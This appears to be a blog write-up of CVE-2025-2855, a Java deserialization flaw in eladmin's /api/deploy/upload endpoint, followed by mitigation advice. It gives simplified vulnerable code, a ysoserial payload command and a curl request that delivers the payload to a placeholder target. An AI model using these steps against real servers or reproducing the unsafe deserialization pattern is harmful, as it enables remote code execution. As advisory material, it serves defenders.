CVE-2025-2855 - Deserialization Vulnerability in elunez eladmin Up to 2.7 (Exploit Details & Analysis)

Recently, a new vulnerability CVE-2025-2855 was found in elunez eladmin, an open-source admin system popular for Java and Spring Boot applications. This vulnerability affects versions up to 2.7 and involves deserialization—an attack vector that has led to many major breaches in the past. In this article, we’ll break down what this vulnerability is, show example exploit code, explain why it’s risky, and direct you to more resources.

Vulnerable Function: checkFile

- Vulnerable Endpoint: /api/deploy/upload

Attack Vector: Remote (over HTTP API)

The main issue lies in how eladmin's /api/deploy/upload endpoint processes incoming requests. The servers argument is not properly sanitized before being deserialized. Attackers can craft malicious serialized data and send it with a POST or multipart request, triggering arbitrary code execution when the server tries to deserialize the payload.

The vulnerable function looks something like this (simplified for illustration)

@PostMapping("/api/deploy/upload")
public ResponseEntity<?> uploadFile(@RequestParam("servers") String servers, 
                                    @RequestParam("file") MultipartFile file) {
    // ...
    List<ServerDeploy> serverList = (List<ServerDeploy>) deserialize(servers);
    // ...rest of processing
}

private Object deserialize(String data) {
    // BAD: unsafe deserialization
    try (ObjectInputStream ois = new ObjectInputStream(
            new ByteArrayInputStream(Base64.getDecoder().decode(data)))) {
        return ois.readObject();
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

The key issue: The servers parameter is de-serialized without any input validation or type checks. This means attackers can send any object, including those which trigger malicious code during deserialization.

Requirements

- The attacker must be able to access /api/deploy/upload (generally only admin, but in some misconfigured instances, it may be public).

Sample Exploit (Using ysoserial)

Tools like ysoserial can generate malicious Java serialized objects. Here is how an attacker might proceed:

1. Generate Serialized Payload

Suppose the attacker wants a reverse shell or simply execute calc.exe on a Windows server (or whoami on Linux):

# Example: runs "touch /tmp/pwned" when deserialized
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' | base64 > payload.b64

2. Submit Payload to API

Then, the attacker sends this via a POST request to /api/deploy/upload, with servers as the malicious payload and any file as the file parameter.

curl -F "servers=$(cat payload.b64)" \
     -F "file=@test.txt" \
     https://target-site.com/api/deploy/upload

Once the servlet calls ois.readObject(), the code in the payload executes.

Data Breach: Read, write, or modify sensitive server-side files.

- Lateral Movement: Attackers can plant backdoors, escalates privileges, or spread in cloud environments.

Do NOT expose the deployment API publicly. Restrict access, use VPNs, or firewall rules.

- Update to a patched version as provided by elunez (no fix yet? watch the repo for patches).
- Remove or rewrite any code that performs unsafe deserialization. Consider using JSON, not Java objects, in APIs.

Quick hotfix: Do not deserialize untrusted data, and do input validation.

References & Further Reading

- Original GitHub repository (eladmin)
- Java Untrusted Deserialization
- ysoserial: Proof-of-concept tool for generating payloads
- CVE Entry Placeholder (NVD)

Conclusion

The deserialization vulnerability in elunez eladmin (up to 2.7) (CVE-2025-2855) shows that handling user input securely is a must. Never deserialize user-provided data without validation. If you run eladmin, check your version and endpoints immediately. Patch your systems, restrict network access, and consider security reviews for all deserialization logic.


Stay safe and keep your dependencies up-to-date. If you maintain Java web apps, always be wary of any use of ObjectInputStream.readObject()—it can lead to the exact type of devastating exploit shown above.


*Written exclusively for you. Want more details or test scripts? Comment below!*

Timeline

Published on: 03/27/2025 16:15:31 UTC
Last modified on: 03/27/2025 16:45:12 UTC